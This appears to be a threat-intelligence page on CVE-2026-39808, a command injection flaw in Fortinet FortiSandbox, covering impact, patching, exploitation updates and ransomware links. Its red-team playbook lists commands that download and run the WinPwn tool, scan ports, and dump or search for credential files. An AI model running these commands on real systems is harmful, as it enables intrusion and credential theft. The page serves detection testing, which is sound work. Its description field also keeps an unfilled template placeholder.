CVE-2026-39808
Overview
This vulnerability is an OS command injection flaw caused by improper neutralization of special elements in user-supplied input within Fortinet FortiSandbox versions 4.4.0 through 4.4.8. The root cause lies in inadequate sanitization and validation of input parameters that are subsequently passed to underlying operating system commands. The affected component is the FortiSandbox's command execution interface that processes these inputs without sufficient filtering, enabling injection of arbitrary OS commands.
Vulnerability Description
A improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet FortiSandbox 4.4.0 through 4.4.8 may allow attacker to execute unauthorized code or commands via <insert attack vector here>
Impact
An unauthenticated attacker can execute arbitrary OS commands on the FortiSandbox server, gaining full control over the system. This can lead to unauthorized disclosure, modification, or destruction of data, as well as disruption of sandbox operations. The attacker does not require any user interaction or valid credentials to exploit this vulnerability, enabling remote code execution and potential lateral movement within the network. The resulting compromise can severely impact the security posture of organizations relying on FortiSandbox for threat detection and analysis.
Solution
Fortinet has released security updates addressing this vulnerability in FortiSandbox versions later than 4.4.8. Administrators should upgrade to the fixed version as detailed in the Fortinet advisory FG-IR-26-100 available at https://fortiguard.fortinet.com/psirt/FG-IR-26-100. The advisory provides comprehensive patching instructions and recommends applying the update promptly to mitigate the risk. No alternative workarounds are specified; applying the vendor-provided patch is the definitive remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability in Fortinet FortiSandbox versions 4.4.0 through 4.4.8 arises from improper neutralization of special elements used in operating system commands, commonly referred to as an OS command injection flaw. This type of vulnerability occurs when an application fails to adequately sanitize user input, allowing an attacker to manipulate command execution on the underlying operating system. In the case of FortiSandbox, the flaw enables unauthorized code execution, which can lead to significant security breaches. The affected product's architecture, which integrates various security features, inadvertently exposes a vector for attackers to execute arbitrary commands, potentially compromising the entire system.
Attack vectors for exploiting this vulnerability can vary, but they typically involve sending specially crafted input to the FortiSandbox application. An attacker could leverage this flaw by embedding malicious commands within input fields that the application processes without proper validation. For instance, if the application accepts user-generated data for processing and does not adequately filter out special characters or sequences, an attacker could inject commands that the operating system would execute. This could lead to scenarios where an attacker gains elevated privileges, accesses sensitive data, or disrupts service availability. The ability to execute arbitrary commands could also allow for lateral movement within a network, further amplifying the potential damage.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on FortiSandbox for threat detection and malware analysis. The high CVSS score of 9.1 indicates a critical risk level, suggesting that successful exploitation could lead to severe consequences, including data breaches, financial loss, and reputational damage. Organizations may face regulatory scrutiny and legal repercussions if sensitive data is compromised due to inadequate security measures. Furthermore, the potential for service disruption could affect business continuity, leading to operational downtime and loss of customer trust. The interconnected nature of modern IT environments means that a breach in one area can have cascading effects, making the implications of this vulnerability particularly concerning.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating and patching FortiSandbox to the latest versions is crucial, as software vendors often release updates that address known vulnerabilities. Additionally, implementing robust input validation mechanisms can help prevent command injection attacks by ensuring that user inputs are sanitized before being processed by the application. Employing Web Application Firewalls (WAFs) can also provide an additional layer of security by monitoring and filtering incoming traffic for malicious patterns. Organizations should conduct regular security assessments and penetration testing to identify potential weaknesses in their systems and ensure compliance with security best practices.
In conclusion, the OS command injection vulnerability in Fortinet FortiSandbox poses a significant threat to organizations utilizing this product. The potential for unauthorized code execution highlights the importance of maintaining rigorous security protocols, including timely updates, input validation, and comprehensive monitoring. By adopting proactive measures and fostering a culture of security awareness, organizations can better protect themselves against the risks associated with this and similar vulnerabilities. The evolving threat landscape necessitates a commitment to continuous improvement in cybersecurity practices to safeguard sensitive information and maintain operational integrity.
CSURFACE threat intelligence has identified a marked escalation in exploitation activity targeting CVE-2026-39808, evidenced by the emergence of new proof-of-concept exploits publicly available on GitHub. This development coincides with the vulnerability’s recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog, underscoring its elevated priority for remediation. Our telemetry indicates a significant surge in attack attempts leveraging this OS command injection flaw within Fortinet FortiSandbox versions 4.4.0 through 4.4.8. Notably, associations with multiple ransomware groups have surfaced, suggesting adversaries are increasingly incorporating this vulnerability into their attack chains. The EPSS score’s substantial increase to nearly 0.49 further validates the growing exploitability and likelihood of successful compromise. Consequently, the overall threat level has escalated to critical, reflecting both the heightened exploitation activity and the expanded adversary interest. Defenders should regard this vulnerability as an immediate and high-risk threat vector given its active exploitation and ransomware group linkage.
Update 2 — July 25, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2026-39808, accompanied by a rapid surge in the Exploit Prediction Scoring System (EPSS) score, which now approaches the highest percentile. This increase in detection activity, alongside the emergence of new proof-of-concept exploits publicly available on GitHub, indicates that adversaries are accelerating efforts to weaponize this vulnerability. Although no direct ransomware campaigns have been conclusively linked to this uptick, the presence of known ransomware-associated groups in the broader threat landscape underscores the potential for this vulnerability to be integrated into multifaceted attack chains. The sharp rise in EPSS and telemetry signals a growing likelihood of successful exploitation in the near term. For defenders, this development elevates the urgency to monitor for exploitation attempts and reassess defensive postures accordingly. Consequently, the threat level for CVE-2026-39808 has intensified from critical to an even more imminent and active threat, reflecting both increased adversary interest and expanding exploit capabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortisandbox | All |
cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
HORKimhab/CVE-2026-39808
CVE-2026-39808 - Fortinet Sandbox - Draft
|
HORKimhab | 0 | 0 | 2026-06-17 | View |
|
error-inside/CVE-2026-39808
Fortinet FortiSandbox 4.4.0-4.4.8 - OS Command Injection via tracer-behavior Endpoint
|
error-inside | 0 | 0 | 2026-06-18 | View |
Threat Feed
29 eventsSighting activity recorded
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Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
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Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-39808 |
| fortiguard.fortinet.com |
GitHub CVE
|
https://fortiguard.fortinet.com/psirt/FG-IR-26-100 |
| github.com |
NVD API
Exploit
Third Party Advisory
|
https://github.com/samu-delucas/CVE-2026-39808 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39808 |